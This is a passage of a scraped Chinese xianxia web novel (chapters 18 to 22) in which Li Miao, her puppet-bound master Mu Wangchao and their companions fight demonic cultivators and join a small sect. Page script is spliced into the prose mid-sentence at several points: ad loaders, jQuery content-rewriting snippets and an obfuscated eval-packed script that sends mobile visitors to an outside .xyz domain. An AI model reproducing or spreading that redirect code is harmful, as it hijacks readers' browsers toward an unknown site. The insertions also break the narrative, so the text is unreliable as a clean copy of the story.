金丹魔修大喜过望,当即拜谢:“多谢大人!” “只是……对方毕竟有元婴高手,我等需拼尽全力方可得胜,激战之间,难免误伤大人那几位朋友……” “渡火宫出手,何时论起情面了。玉衡使平时便是这般教导你们的?” 今歌白幽冷出声。 魔修身躯一震,郑重垂首:“属下领教。” 黑影随风遁去,今歌白抱臂轻嗤,转身返回。 篝火处,靳无常讲完了今日份的故事,催促着众人休憩养神,自己却随意仰躺在那块大石头上露宿。 悉星河见梨渺和穆忘朝一身空轻,便向梨渺邀请道:“阿渺,我帐中还有空余,若你不嫌弃,可同我 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 和大师姐一块睡。” 梨渺眨眨眼,看看悉星河又看看穆忘朝。“谢谢你,但我要陪着阿朝。” 悉星河:“夜里风凉,草地还硌着痛,只怕你受了风寒。” 梨渺微笑:“没关系,我以前经常睡在草地上。” 穆忘朝听到梨渺说这些话,便会想起她无意透露出的过往经历。 她言语真诚自然,他不认为那是她用来搪塞他人的谎言。 他略微感到揪心,不禁出声道:“渺渺,你随悉姑娘去罢,我会在外守候。” 梨渺无辜望着穆忘朝,抿唇纠结。 “难得遇见新朋友,可莫要拂了他人好意。”男子声音由远及近,带着些许戏谑。 梨渺转头笑道:“白哥哥,你回来啦!” “今兄可发现有何异常?”靳无常屈膝躺着,恣意扭来脑袋。 “附近并无危险。” 今歌白随口应道,走到梨渺身前,含笑按了下她的肩。 “这里有我照看,安心歇息罢。” 梨渺讷然点头,随后便身子一歪,被悉星河拽到了帐篷里。 穆忘朝安静看向今歌白,他神色一贯的讳莫如深,察觉他的注视,他淡然斜来眼眸。 穆忘朝镇定自若地颔首行礼,缓步走到一旁坐下。 他不愿渺渺因他而委屈自己,但对今前辈而言,他只想撇开他这枚眼中钉。 如此直白浓烈的情感,渺渺究竟是否有所意会呢…… 不知为何,穆忘朝对此无比在意。 他看向那伫立于旷野的白帐,兀自沉思。 也许是因为,等到渺渺回应今前辈情感那日,他便拥有了祈求自由的机会。 或许……他可以促成这件事。 梨渺呆愣躺在帐内,看着身旁翻动的人影,感到无比奇妙。 她从未与他人挤在如此狭小之地共眠。 “悉姑娘经常与师姐一块睡在帐里?”梨渺忍不住问道。 “唤我星河便好。” 悉星河微笑道,她安躺下说道:“也并非如此,我离家十年了,先前都住在宗门里,但近日我待得厌烦了,想四处走走,师父便带我出来历练!” “他本就有自己的打算,顺带捎着你罢了,你又没学几个本事,还敢独自跟着他,何时被坑害了都不知。”迎真凉幽幽说道。 悉星河嘿嘿一笑,“所以大师姐最好了,特意来陪我!” 迎真:“奔波几日还未累着你?闲话如此之多。” 悉星河不情不愿:“好嘛,我这便睡。” 梨渺一时恍惚,一些若有若无的画面在脑中闪过,转瞬又在湍流中粉碎。 此般感受,多年未有了。 …… 次日天才半亮,梨渺察觉到身旁细微的动静,启眸便见悉星河蹑手蹑脚爬出了帐篷,生怕惊醒她们两人。 梨渺出神片刻,也小心起身钻了出去,四下一望,穆忘朝便躺在草地上尚未苏醒,今歌白背身在另一侧静坐,而靳无常从大石头上滑了下去,大字靠在一旁睡得风雅全失。 悉星河轻步绕过了众人,在远处的空地上拔剑练习。 梨渺心思一动,无声走到穆忘朝身边蹲下,抱着双膝静看他熟睡的侧脸,柔情自眼角流溢而出。 人偶肤白如玉,衣裳沾了木灰,面容却一尘不染,好一个精美俊朗的少年郎。 梨渺微微俯下身,想要偷亲他面额,垂落的发丝却让少年提前醒了神。 他睫羽颤动,倏地睁开眼,仰面瞧见少女凑近的面容,他错愕张大了眸。 19. 第 19 章 梨渺被察觉了小动作,只好停在他上方,腼腆地绽开笑颜。 “阿朝,我想你了。” 穆忘朝目露窘迫,难为情地别开眼,挪身坐起。 “昨晚休息得可好?” “好,只是没有阿朝抱着,有些许遗憾。” 梨渺轻轻点起两根食指,羞涩垂首。 “阿朝没有想渺渺吗?” 穆忘朝:“……想了。” 只不过是在想着,如何让她转意。 梨渺欣喜咧开嘴,轻声道:“待进了宗门,我们便有许多时间独处了……我知道阿朝害羞,所以在那之前,我会克制自己,不让阿朝为难。” 梨渺会考虑到如此高度,穆忘朝有些意外。 他以为她不通人情世理,便不会顾及亲密之时是否还有着旁人。 她会做出这种选择,却不是因她脸皮薄,而只为照顾他的情绪。 穆忘朝轻牵唇角,感到欣慰。 梨渺又悄咪咪看了圈周围,而后盯着穆忘朝道:“可我忍耐太久,是会憋闷气的,所以,在旁人看不见的时候,阿朝要给予我安慰。” 穆忘朝心下一顿,想到梨渺这般霸道之人都为他作出了让步,他也未尝不能顺她一分。 “……如何安慰?”少年茫然道。 梨渺狡黠眨眼,忽然凑近在他面颊上啄了一口。 少年愕然抚上脸,一双琥珀瞳不住震颤。 梨渺眸中溢出欣悦,她满意开颜,低语声都染上暧昧:“诸如此般……” 穆忘朝稳住呼吸,方才她袭来一瞬,他只觉心脏都好似停滞了。 他思绪乱如麻,抿着唇不知如何作答,可梨渺却仿佛并不在乎他的回应,说完便轻风一般地飘开了。 梨渺二指轻按着唇珠,笑意似水绵绵。 今日进得一步,来日便能讨得更多。 终有一天,她会让师尊彻底接纳她,心甘情愿地任她采撷。 挥剑中的悉星河余光瞥见飘过的浅色身影,转过身来,唤道:“阿渺,你怎么出来了,莫不是我将你惊醒了?” 梨渺回过神,落下双手负于身后,浅笑着歪头。“天还这般早,你便来练剑?” 绿衣少女垂剑轻呼一口气,“我可是立志成为剑尊的人,师父领进门修行在个人,我自然要勤奋修炼了!” 她好像不经意间说出了极为不得了的志向。 梨渺沉吟少顷,认真建议道:“我认为,还是换个师父会更快。” 悉星河看向那睡没睡相的青年道人,瘪嘴摇了摇头。 “唯我派立派三百年,即便是一盘散沙,也极少有人主动退派,你可知为什么?” 梨渺略微张大眼,配合道:“为什么?” 悉星河凝眉望天,一脸悲痛。 “因为每名弟子入门之时,都会签署一份契约以表诚心,要求至少在门中修行三百年,若提前退出,需补偿五十万灵石的违约费!” 梨渺诧然,细数灭门后她自同门众人身上收藏的遗物,其中的灵石加起来都不足十万。 “五十万灵石,很多吗?”她诚心请教。 悉星河讶然看向梨渺,差点以为她是个视金钱如粪土的富家女,转念一想才意识到,她只是个刚来修真界不久的启灵者,不知行情也不为怪。 “虽然对我家中而言,不过是两年的营收,可我已经许久未与家中联系,也决心要靠自己……” 少女的声音弱了下去,看来这金钱与修炼,都是让她苦恼之事。 梨渺木着脸想了想,道:“你的迎真大师姐,入门应有三百年了不是?” 悉星河点头。 梨渺:“期限已至,她便不受契约约束,可她仍未离开,这便说明,唯我派尚有其过人之处,所以星河身在唯我派,未必是件坏事。” 悉星河怔愣片刻,缓缓张大了眼,叹道:“阿渺,你年纪轻轻的,竟能说出连我都未曾领悟的道理!” 梨渺微微牵唇,对这小丫头而言,她可不算什么年轻人了。 “你这一番话,叫我增添了不少信心!谢谢你阿渺,我会潜心练剑,就不信在五年内筑不了基!” 悉星河眉开眼笑。 梨渺:“为何非是五年?” 悉星河:“修炼一途有天分之说,据传大多数修士会在二十五岁左右筑基,我可不要落在大多数人后头!” “嘿嘿,天色尚早,我再练会儿。” 说罢,少女精神振奋,继续投入修炼。 梨渺略微拉直了身后的手臂,略微舒展了下双肩。 她记得,自己十一岁左右被师尊带到清净门,没两年便筑了基,百岁前凝成金丹,之后在孤岛上为师尊塑造躯体时,灵力反复消耗又重聚,不断淬炼之下,竟日渐浑厚精纯,三百余岁时修为大圆满,日日腹中作痛,她不得已抽出一段时间用来碎丹结婴。 按世人口中常理,她当是有些天赋的,至少在清净门中,他们都这般说。 梨渺退步至穆忘朝身侧,轻声道:“怎么你看人家姑娘,还看得呆了?” 少年眨眼回神,想到方才猝不及防的轻吻,他面上微热,躲闪目光道:“我是在看她的剑。” 梨渺:“看出什么了?” 穆忘朝:“招式流畅,却无几分剑势,就好比……好比书法,只摹了形,却缺少意,与渺渺的剑……大不相同。” 梨渺抿了抿唇角,“她才修炼十年,我在她这个时候,除了修为比她高点儿,用出的剑与这没什么分别。” 穆忘朝茫然看向她。 梨渺转去眼眸,狡黠笑道:“阿朝是否在疑惑,自己习剑才不足几月,便已能辨明,自己的剑意在他人之上了?” 少年目露讶然,质朴地点点头。 梨渺伸手落在他头顶,轻轻抚了抚。 “因为你本就极具剑道天赋呀。” 穆忘朝眸光轻晃,少女的动作叫他赧然,却又莫名惬意,仿若有清流淌在心田里。 这副人偶之躯,似乎无比欢欣于主人的安抚,生不出半分抗拒。 但他始终不认为这是件好事。 穆忘朝稳着心神,镇静道:“是渺渺教得好。” 梨渺垂下手,轻轻耸肩。 “我没有阿朝这般剑骨,成不了剑尊,但阿朝定能达到剑道之极……” 话到一半,梨渺声音忽然落了下去,她眼眸微动,恹恹垂下眼睫。 “我忘了,你只能修炼功法神通,是没办法积攒修为的。” 穆忘朝惝恍垂首。 梨渺旋而展颜,“没关系,只要我迈入化神境,阿朝自然便有资格成为剑尊了!” 届时,她便能拥有一个风姿与昔年无二、却 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不会厌弃她憎恨她的完美师尊! 她从未有此刻这般,对破境充满了渴望。 沉溺于美好幻想的梨渺,并未看见少年错愕又怅惘的神色。 良久,她听到身侧传来低微的呢喃:“那是你……不是我……” 梨渺转来面容,看到他空洞的眼眸,她微微一愣。 “我的,就是你的。”她陈述道。 少年缓缓摇头,目光始终停滞于她的眉眼。 “未历劳苦,非我应得。” 梨渺压低了乌睫,双眸晦暗深邃。 “如此不好么?” 她嘴角挂着浅笑,气息却诡异得叫人心颤。 穆忘朝紧抿着唇,滞涩摇了摇头。 梨渺笑意略深,她用目光勾勒着少年的脸颊与喉头,轻声细语:“连生存都要依赖于我的傀儡,有何资格拒绝命运。” 少年瞳孔轻缩,低垂着眼如遭霜打。 梨渺轻轻捋开他额前的碎发,娇柔道:“再说这种话,渺渺会生气的。” “阿朝乖乖依赖渺渺,便什么都会好起来。” 穆忘朝紧紧攥起了双手,未作应答。 “年轻就是年轻,大清早便你侬我侬。” 靳无常轻佻的声音远远传来,梨渺动作微顿,淡笑着用指背抚开少年的眉心,道:“这副表情,我不喜欢。” 穆忘朝失魂抬起眸,勉强将嘴角扯开微小的弧度。 众人皆醒,梨渺也不再与穆忘朝亲密,泰然无事地融入队伍中开启行程。 唯有穆忘朝心中蒙了阴翳,久久都难以消散。 为照顾炼气期的脚程,众人大半日才行了数十里。 路中,一言不发的今歌白忽然停了脚步。 梨渺回头看他,“白哥哥,怎么了?” 今歌白左手落在腰边,垂面沉默片刻,旋而淡笑着看向梨渺。 “我不慎遗落了物件,须得回去找找了。” 梨渺上前两步,双目睁得溜圆。“我帮白哥哥一块找。” “不必了,诸位继续行路,我寻到了东西,很快便能跟来。” 今歌白目光转向靳无常,出声冷冽:“我这两位后辈,还请靳道友照料一二。” 靳无常含笑:“好说,好说。” 今歌白安稳拍了下梨渺的肩头,便飞身离去。 靳无常若有所思看着白衣青年远去的背影,佯作随意道:“阿渺小友,这位今兄是你什么人呐?” 梨渺回过身来,不动声色地思忖须臾,答道:“引路人。” “噢?”如此回答,叫靳无常略感意外。 梨渺:“我与阿朝无路可去,是白哥哥将我们带到了修真界。” 穆忘朝不禁注目,她谎话编得如此自然,他一时都未去怀疑,她是在诓骗他人。 靳无常:“这么说,今兄是二位的贵人了。” 可今歌白对这位阿渺姑娘格外关照,对姓穆的小友却不正眼相待,不得不叫人在意。 靳无常目珠一转,又轻悠问道:“若本君猜得不错,阿渺小友当与清净门有几分渊源,是与不是?”. 悉星河闻言,不禁诧异投来目光,满是好奇。 梨渺抬起眼眸,温婉笑道:“前辈何出此言?” 靳无常笑眼精明,“昨日谈起清净门惨案,小友……露了杀气。” 20. 第 20 章 梨渺抿唇看着道人,琉璃明眸仿佛折射着虹彩。 “小时候,我娘曾说,祖上落魄时,曾有位恩人救祖先于水火之中。她死前叮嘱我,若来日有幸踏足修真界,定要前去报恩。” “那位恩人来自清净门。” 穆忘朝忽扇睫羽,她这定然又是编造的说辞了,清净门于千年前建立,彼时的渺渺,少说也有千余岁。 少年却不知,梨渺的虚言中,有一半却是真的。 她口中那位祖上,便是她自己。 “所以小友在听及清净门死因时,才会如此不平。”靳无常平静注视着梨渺。 虽知是谎言,穆忘朝心中仍放不下在意。 阿渺自言,她是宗门覆灭后离山远行的,而她又对同样消失的清净门格外关注,他不由得猜测,她是否正是清净门人,只是与他一般于灾难中逃过一劫。 可如此,却又与她的年纪相悖。 还是说……她先前对他的诸多言语,连同她的年纪,都是伪造的呢…… 梨渺敏锐看向穆忘朝,忽而浑身警惕。 糟糕,他定是在怀疑她的来历了。 思索间,忽而有杀意袭来,梨渺当即戒备,抓住少年的手腕将他拉近,刹那间,五人被近二十名魔修严密围住,周围风声凝滞,铺满肃杀之气。 “可恶,偏偏这会儿今前辈不在!”悉星河横剑立在梨渺身侧,握剑的手臂不住颤抖。 迎真低冷出声:“这并非巧合,我们被跟踪了。” 靳无常眯了眯眼暗忖,这巧合未免有些离奇,分明昨夜今歌白才探查过四周,不应未发现敌人正在附近蹲守才是,而恰在此刻,他却离开了。 他看向刚结识的那对少年少女。 他着了道了,这二人……难道是弃子。 “我等不愿争斗,还请阁下交出丹霞玉琼,否则……即便拼死一战,我等也必将东西夺回!” 为首的金丹魔修眉如锐刀,凌厉威胁道。 梨渺默默记下了这药草的名字。 “反正是偷来的东西!师父你就还给人家嘛!”悉星河不停朝着靳无常使眼色。 靳无常双手拢袖,微拧起面容看着前方。 “徒儿,先前跟为师走这一遭,乃是锻炼你避敌的能力,现在,到了锻炼退敌的时候了。” 悉星河:“?” 她打金丹?? 靳无常表面处变不惊,内心已将今歌白骂了十八遍。 只带一个炼气期尚能跑路,这一下又多了两个!他胳肢窝下可夹不了三人! 金丹魔修愈发冷厉:“看来,真君是执意要与我等一战了。” “既然逃不掉,可不就得多花这份心思了么。” 靳无常慢悠悠说着,随手将拂尘插进裤腰带中,掌中取而代之的是一部法术秘籍。 “迎真,护好他们三个。” 话音刚落,战斗一触即发,众魔修蜂拥而上,迎真扬幡跨步,在众人脚下绽开一道阵法。 霎时间,魔修们的动作慢下,靳无常持书念诀:“磐岩韧壁,坚不可摧!” 土墙石壁平地起,顷刻将众魔隔离,魔修无法成团聚之势,当即便有人使出耀火之术,烈火燎原,原本用来护体的障壁转瞬成了熔炉。 “洪流骇浪,滔滔不绝!” 靳无常召来疾水,迎真立刻以灵力聚屏,护住身后三人免受波及。 梨渺看着靳无常与众魔修纠缠不休、有来有回,不禁疑惑,他分明有御敌之力,先前还一个劲地逃窜,是惫于出手,还是无心灭去这些魔修? “你家掌门好生奇怪,分明都有元婴修为,却连口诀都记不住,还要翻书呢!”梨渺感慨道。 比起梨渺的泰然自若,悉星河却显得格外紧张,时刻摆着架势提防可能会迫近的敌人。 听到梨渺玩笑般的语气,悉星河啐道:“若当初知晓师父是这般模样,我才不会做他徒弟呢!” 正说着,忽然一道身影鬼魅 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 般自地面滑来,突破烈火与湍流,直入迎真设下的屏障。 迎真双瞳忽缩,幡旗转向,身后金阵突现,千百尖刺如箭射出,扼住了魔修涌动的身影。 便在同时,又一魔修自后方偷袭,鹰爪直掠梨渺三人。 梨渺指尖凝气,尚未动作,穆忘朝忽将她撇至身后,横剑前挡。 “小心!” 梨渺错愕看着他的后脑,一时忘了出招。 她又何需他来保护。 只出神须臾,梨渺便定了心神。 这对尚还稚嫩的人偶,不失为一场历练。 她握回指尖,悄然向少年体内传递了一分力量。 穆忘朝微怔,立马意会到这是她的隐令。 她让他放手去战。 少年厉了眼眸,注灵于剑身,以寸劲振剑,直将那来袭的魔修弹开三丈。 魔修愕然张大目眦,丝毫未能料到,这炼气期修为的小子居然灵力突涨,竟能反击他一招。 他无暇深思,再度掠身而上,穆忘朝眸点寒星,持剑与之相斗,身拦之处,便未让他再得以上前半步。 悉星河望着少年飘逸的身形,震掉了下巴。 “身若惊鸿,剑出留影,如此凌厉又娴熟的剑招……他当真是炼气期?!” 她惊愕看向梨渺,满腹不解,“炼气期当真能打金丹?!” 梨渺抬着眉头装傻:“不明白。” “小心应对,别走神!”迎真震声道,前来攻破这方的敌人又多了一位,她以一敌二,逐渐力不从心。 战场浮现血腥气,梨渺茫然眨了眨眼,发现她对人偶力量的供给忽然弱了下去。 她暗中思索,想起在岛上时师尊便对她显露饥饿,今日又奋力激战,她存于他体内的血气就要消耗殆尽了。 玄辰血气是连接她与人偶之间的引子,缺了血气,她自然便无法顺畅供给灵力了。 现在该如何是好,她冲到师尊面前……及时让他啃一口? 21. 第 21 章 梨渺尚在思量,穆忘朝已战至忘我。 他双目涩红,泛着异样的光泽。 自方才某一刹那起,他便感觉到了身体的异状。 有时他险些中招,身体却超乎他的意识,及时作出反应避过,而又有些时候,他会朝着思绪未曾预料的方向出剑。 如此状况,仿佛是身体在先于他而战斗,可穆忘朝渐渐察觉到,体质灵力即将耗尽,而他已然濒临失控。 好比人燃尽前本能的拼死一搏,穆忘朝此刻,便被这意料之外的本能所支配。 魔修越过他失去协调的身躯,目眦欲裂地掠向襁褓中相伴的少女。 忽而一剑穿胸,青衣少年扑在他的身上,将他狠狠钉进了土里。 悉星河大惊失色,那修罗一般的少年,竟当真杀了高他两个大境界的魔修高手。 这怎么可能?! 梨渺怔然望着前方,那不是师尊应有的模样。 是哪里出了错? 穆忘朝大口喘着气,半晌,猩红的双眸才重拾清光。 他看着身下被他穿心的魔修,此时才想起方才发生了什么,他怔然滑坐到一旁,眼神错愕而惊恐。 梨渺小跑上前,蓦地怀抱住怔忡的少年,心疼不已地抚着他的后脑,轻声呢喃:“不怕,不怕……” 少女的安抚如天降甘霖,穆忘朝渐渐平复了翻涌的心绪,眸中猩红褪去,唯余迷惘。 靳无常分神照看迎真那方时,便见地上多了具魔修尸体,两个年轻人疑似抱头痛哭,他心生疑惑,却无暇多想,这些难缠的魔修像是冲不散的蚂蚁,他这般耗神,也才解决半数。 再耗下去不是办法,看来他得使出绝招了。 靳无常落定心思,正待出手,忽然一道光芒袭来,似流星划过他周身八方,顷刻间,那些纠缠于他的数名魔修被切割了脖颈,掉头殒命。 靳无常看清了那利光的真身,竟是一对日月金轮。 他寻光迹看去,诧然望见今歌白的身影。 是今歌白趁众魔不备将其尽数击杀,他便不可能是魔修的报信人。 ……他当真误会他了。 今歌白收下金轮,径直飞跃至梨渺身前。 “好在赶上了,诸位可无事?” 梨渺抬起脸来摇了摇头。 今歌白看她怀抱着穆忘朝的模样,腹中便满是怨气。 他未动声色,神态关忧道:“他这是怎么了?” 梨渺:“阿朝耗光了力气,他累了。” 穆忘朝无力垂在她肩头,动了动唇欲言又止。 “呀,大师姐,你受伤了!”悉星河惊呼道。 迎真肩膀与侧腹都裂出来数寸长的伤口,她微微动了动手臂,痛意便叫她眼眶不住颤抖。 “好在只是外伤,养些时日便好。” 悉星河心疼又担忧地看着她的伤口,想碰又不敢碰。 “这得多疼啊……” “敌人数量占优,平心而论,这已是最好的结果。” 迎真给自己施了个麻痹感知的阵法,暂时压制住裂痛。 她侧目看向靳无常,“只是……杀了这么多人,终究还是招惹了魔宫。” 今歌白冷幽幽笑道:“先前靳兄说,天高皇帝远,只要做得干净,魔宫未必知晓是谁人所为。” 靳无常看着满地的尸体,浑浑噩噩地应了两声。 “对,对……得处置干净。” 他半眯着眼眸,熟练将众魔修的尸身聚到一块儿,拖梨渺身旁那魔修时,他留心观察了两眼。 满身均是剑伤,不是他那阵修大徒弟的手笔,更不可能是那半吊子小徒弟所为。 靳无常瞥过少年手中剑,而后持书念诀,滔天烈火将尸首们燃成焦灰,他又挖出个大坑,将灰烬连同未熔的遗物都深埋进去。 今歌白漠然看着道人料理后事,心中嗤笑,如此偶然机会,让他折了玉衡使的鹰爪,真叫人愉悦。 即便那方发觉什么端倪,他也大可推到靳无常身上,毕竟他可是为了玉衡使的“情面”,而特意离场造了空隙。 “白哥哥,你的失物可找到了?”梨渺轻盈问道,仿佛毫不在意身旁这些血腥残酷的场面。 今歌白含笑点头。 “那便好。” 梨渺略微离开穆忘朝的胸怀,注视着他惨白的脸,柔柔关怀:“阿朝,现在可好了些?” 穆忘朝抬眼望向她,眸底掠过一抹猩红,他哽了哽喉头,如何也说不出安好的话。 “大师姐受伤不轻,穆道友又身体抱恙,这可如何是好。” '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >悉星河焦急得团团转,她跨步到靳无常身前,道:“师父,您不是自称百家通嘛!有什么疗伤的法子,快给大师姐使上啊!” “莫急莫急,待为师寻本医书。” 靳无常埋头在纳戒中翻来找去。 悉星河不禁跺脚,“嗐呀!什么节骨眼还要找书,千把年的记性,都给浪费了!” 半晌,靳无常蓦然抬头,“为师突然想起,医书都叫弟子们借去了。” 悉星河:“……” 靳无常轻咳一声,摆袖道:“不如大徒弟再坚持半日,我去云城给你抓个医师来。” 梨渺观察着几人,思索片刻后轻缓出声:“或许,我可以试试。” 靳无常想起她一早便问过他医毒之术,看来是有几分底子,虽然只是炼气期……能让大徒弟好受些许也不错。 听着梨渺的话语,穆忘朝忽然清醒。渺渺尚未习医,疗伤的功夫乃是以血脉之力促成,若让她出手,岂不是暴露了血脉秘密? 他倏地抓住梨渺的手腕,指尖稍稍使力。 梨渺看到他惊忧的神色,笑意漫上眼角。 “我心中有数。” 她反握住少年的手,示意他安心。 玄辰血脉虽万年难遇,可仅拥有一种赐福的其他血脉便没那般稀罕,她需修习医术,日后也少不了修补受伤的师尊,这其中的医术天赋,迟早都会暴露。 她选择在今日展现疗愈之力,便是要伪装成青月血脉,来为她的秘密掩上一层虚实相间的幌子。 梨渺走到迎真跟前,抬起双手,青绿色光芒浅浅覆上女子的伤口。 当事者迎真头一个露出了诧异的眼神。 她原以为,这姑娘或许学过几分凡间的医术,顶多会用上质朴的缝合之法,却没想到,她当真是有本事的。 伤口处隐隐的酥痒麻痹之感,正是愈合的征兆,虽然缓慢,但有效。 靳无常凝视着梨渺掌中异样的灵力,微不可见地张了张眸。 观察许久,他方断定:“这并非医术,而是刻印在血脉中的天赋力量。” “你是青月血脉。” 梨渺专注于疗愈,未去应答。 靳无常目光转向穆忘朝,眼角微弯,透露精明。 “而你,当是赤日血脉!” 22. 第 22 章 穆忘朝不禁怔愣一瞬,他是因他击败了金丹期魔修而有此定论,可那并非他自己的力量。 少年垂眸暗思,他必不能暴露渺渺与他的牵连,为此,他可以做更多伪装。 “或许正如前辈所说。”穆忘朝冷静应了一声。 靳无常双眉高抬,蓦然来了兴趣。 “好好好,本君竟有这般好运气,同时结识两个天纵奇才!此刻本君心思已定,必要将你二人收入门中不可!” 梨渺点到为止,将那外伤疗愈结痂便收了手。 “凭我的能力,也只能如此了。”她温婉对迎真笑道。 迎真不禁对她多了几分打量,她淡淡牵起唇角,声如凉水:“已帮助良多,多谢阿渺姑娘。” 梨渺转身便被近在咫尺的道人吓了一激灵,她一个不留神,他便凑得如此近,眼睛还如灯笼似的放光。 “你这般好苗子,在外头可是要吃大亏的,不如早早拜入本君门下!本派医书均可为你所用,就算是没见过的秘籍,只要你想要,本君也能想法儿给你弄来!” 如此热情过甚的人,梨渺在五百年人生中都未曾见过几个,难得显出些不自在。 她腼腆颔首,挂起谦逊的笑,“我与阿朝同心。” 道人一个瞬身蹲到少年跟前,笑呵呵地看着他。 “小友若仍对本君抱有戒心,大可同本君签上一契,天道作证,唯我派藏书任你阅览,本君决不索取分毫。” 穆忘朝谨慎看着他,都说到如此份上,这位掌门仍旧不提半分教导之事,他宗山立派,好似只是为了壮大山门而已。 靳无常继续游说:“要知道,那些名门大派哪个不是管理森严,混个百八十年都难有资格见到什么好物,但本君这半生珍藏却可为你索用。” 见少年还无反应,他又添上一笔:“罢了!本君再与你二人开个特例,三百年契约期限缩减至百年如何?百年之后,天地任尔闯,山河任尔游!” 穆忘朝神色稳重,静默沉思了少焉,问道:“前辈当真有藏书千万?” 靳无常挥了把拂尘,“各门各类,应有尽有,即便是别家的独门秘籍……我也偶然得了些拓本。” 穆忘朝撑剑站起,脱力的身躯略微晃了晃。 他望向梨渺,得到她肯定的眼神。 “忘朝愿入贵派。” 靳无常满意地弯起眼眸,举臂招来两份黄纸契约,和煦道:“两位小友注灵签下姓名,契约便可成。” 梨渺接来一份黄纸,上头的语句倒是寻常,也唯有那入门期限一条值得注意。 她以灵力签下“阿渺”二字,再看穆忘朝,他签下的也是她给予的新名儿,她不禁会心一笑。 靳无常收回两份契约,自己也注灵签名后将其收纳好,看向二人时容光焕发。 “从此阿渺便是唯我派第二百弟子,忘朝,你便是二百零一弟子了。” 梨渺甜甜咧开唇角,如此结果,甚合她意。 “我就知道,我与阿渺肯定能成师姐妹!”悉星河喜滋滋说道。 靳无常傲然挺起了胸膛,悠哉说道:“既入我门,便先唤声师尊来听听罢。” 梨渺眨眼,“可你并不亲自教我们本事,为何要唤你师尊?” 道人被堵了个哑口无言,穆忘朝看向梨渺清澈无邪的眼,顿时心情舒缓,不自觉牵了牵嘴角。 梨渺悄咪咪勾起了少年的小指,她的师尊只会是他一人,即便她不能再当面唤他,她也要将这珍贵的称谓埋在心底,决不让他人占去。 “阿渺说得对啊!” 悉星河瞪着杏眼,醍醐灌顶。 “难怪我从未听过大师姐喊师父,原来是早就通悟了!” 靳无常:“……” 梨渺又大方地朝靳无常伸出了手。 靳无常狐疑扫了她两眼,“何意啊?” 梨渺:“《百毒详解》,掌门承诺的见面礼。” 她看到道人眼角冷不丁抖了抖。 他骂骂咧咧地从兜中掏出那部旧书,梨渺欣然接下,抱在怀里,顿觉无比安心。 穆忘朝见了,内心五味杂陈。 渺渺因为一本医书便能露出这般满足的神情,而他心底那些痛处,却不知如何开口。 “如此一来,你二人也算了了一桩心愿,可喜可贺。”今歌白顺水推舟说道,看着梨渺笑意朦胧。 梨渺抱着书走到今歌白跟前,昂首迷茫望着他。 “白哥哥,那你呢?” 今歌白眼角微不可见地眯了眯,阿渺入了世,他便不能再与她朝夕相伴,此乃定局。 但好在接纳她的门派平庸又散漫,不似当年在清净门外受剑阵阻隔,他想见她易如反掌。 “我尚有其他打算,可眼下还未有定数。” 他抬面暗叹,望向北方。 “先到云城去罢,我需办些事情,再做决定。” 梨渺讷然点头,白哥哥的私事,她向来是不插手的。 她走回穆忘朝身边,看着他失色的脸,轻柔问道:“阿朝,可还撑得住?” 穆忘朝抿唇抬眸,低声道:“我没事。” 梨渺眸光闪烁不定,分明都虚弱成这副模样了,却还要逞强,与当年被锁在禁室中师尊一样嘴硬。 想起那些缱绻往事,梨渺不禁泛起一丝愉悦,她掩饰住心头的情绪,握着少年的手道,“若是熬不住,可千万要同我讲。” 少年微弱点了点头,收剑向前走去。 “赶路罢,不必顾忌我。” 梨渺唇角噙笑,她倒要看看,饥肠辘辘的师尊能逞强到几时。 稍作休整后,众人马不停蹄行了几日路,终至云城墙外。 高门之内人声鼎沸,层楼林立,说不出的热闹。 梨渺不时望着四周,眼里写满新奇。 “阿渺,你看什么呢?”终于能结束一番奔波,悉星河也心情高涨,声音都无比轻快。 梨渺轻抬起食指数了数,道:“好多铺子,好多人。” 悉星河不禁开颜:“当然,这可是城里呀!越州最热闹的地方!” 梨渺呢喃应和:“这便是城……” “你以前从未来过这种城市么?”悉星河诧异道。 梨渺摇了摇头,耐心道:“我去过的地方,都要冷清得多。” 悉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13981669|148159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 星河想起梨渺的少时经历,心头不免泛起怜惜,她沉默少焉,爽朗道:“那这次咱们便多停留两日,可要耍个痛快!” 梨渺含笑点头,她侧首看向身旁的少年,目光故作可怜。 “可惜阿朝状况欠佳,不好陪渺渺玩耍。” 穆忘朝抬眸看了她一眼,自责又倔强。 “或许休息一日便好了。” 梨渺掩下嘴角将起的笑意,眼神意味不明。 体恤到穆忘朝身体抱恙,靳无常先带着众人去客栈住了店,而后拉着迎真去寻医馆。 今歌白也以办事为由,与梨渺打了招呼,暂且离了队伍。 悉星河担忧看着穆忘朝,这几日路途,他极为寡言,连脚步都是虚浮的,几日也未见好转。 “穆师弟难道是病了,不如……我和阿渺也带你去医馆瞧瞧。” 穆忘朝顿时警觉,表面却波澜不惊,他谦和道:“我清楚自己的状况,只是耗空了气力,需要休养罢了,悉师姐不必担心。” 悉星河瘪着嘴打量一二,“当真不需找医师?” 梨渺适时插话:“我与阿朝结识颇久,知晓他弱处,师姐赶路也累了,便去房中歇息罢,阿朝由我照顾便好。” 悉星河稍作思量,垂肩道:“好吧,我就在那处房间,若有需要尽管叫我!穆师弟,我还等着你养好身体,咱们一块儿去城中逛逛呢!” 穆忘朝愧然道:“让师姐费心了。” 绿衣少女离开后,梨渺挽着穆忘朝的小臂将他带到房中,小心关上了门。 好在客栈中还有这样一处僻静角落,街上的喧闹都成了风中低语。 “现在,终于只剩你我二人了。”梨渺轻拥着少年的腰身,抬面笑眼盈盈。 